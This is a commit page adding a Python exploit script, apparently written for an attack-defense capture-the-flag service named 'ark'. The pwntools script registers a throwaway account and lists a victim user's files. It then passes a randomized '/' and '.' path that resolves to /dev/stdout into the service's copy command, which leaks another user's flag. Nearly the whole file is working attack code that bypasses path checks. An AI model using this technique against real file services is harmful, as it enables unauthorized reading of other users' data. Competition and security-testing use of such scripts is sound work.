Skip to content

Commit c61ca10

Browse files
Sploit
1 parent a6a0fe2 commit c61ca10

File tree

1 file changed

+57
-0
lines changed

1 file changed

+57
-0
lines changed

sploits/ark/canonical_meme.py

+57
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
#!/usr/bin/env python3
2+
3+
import random
4+
import sys
5+
6+
from checklib import * # type: ignore
7+
from pwn import context, log, remote
8+
9+
context.timeout = 10
10+
context.log_level = 'INFO'
11+
12+
if len(sys.argv) != 3:
13+
print("Usage: python3 canonical_meme.py <ip> <attack_data>")
14+
sys.exit(1)
15+
16+
ip = sys.argv[1]
17+
attack_data = sys.argv[2]
18+
19+
username1, username2 = (x.split('=')[1] for x in attack_data.split(":"))
20+
21+
log.info(f"attacking {username1} and {username2}")
22+
23+
with remote(ip, 13345) as r:
24+
r.recvuntil(b'quit')
25+
attacker_username, attacker_password = rnd_username(), rnd_password()
26+
log.info(f"attacker username: {
27+
attacker_username}, attacker password: {attacker_password}")
28+
29+
r.sendline(f'register {attacker_username} {attacker_password}'.encode())
30+
r.recvuntil(b'Please login')
31+
r.sendline(f'login {attacker_username} {attacker_password}'.encode())
32+
r.recvuntil(b'Welcome, ')
33+
r.recvuntil(b'> ')
34+
35+
r.sendline(f'list_files {username1}'.encode())
36+
r.recvuntil(b'Path: ')
37+
flag_path = r.recvline().decode().split(',')[0].strip()
38+
39+
log.info(f"flag path: {flag_path}")
40+
41+
# Generate random string of / and . without adjacent ..
42+
path_parts = []
43+
for _ in range(random.randint(20, 30)):
44+
if not path_parts or path_parts[-1] == '/':
45+
# After / we can use either . or /
46+
path_parts.append(random.choice(['/', '.']))
47+
else:
48+
# After . we must use /
49+
path_parts.append('/')
50+
51+
path_gadget = ''.join(path_parts)
52+
path = f'/dev/{path_gadget}/stdout'
53+
log.info(f"path: {path}")
54+
55+
r.sendline(f'copy {flag_path} {path}'.encode())
56+
data = r.recvuntil(b'File copied successfully')
57+
log.info(f"data: {data}")

0 commit comments

Comments
 (0)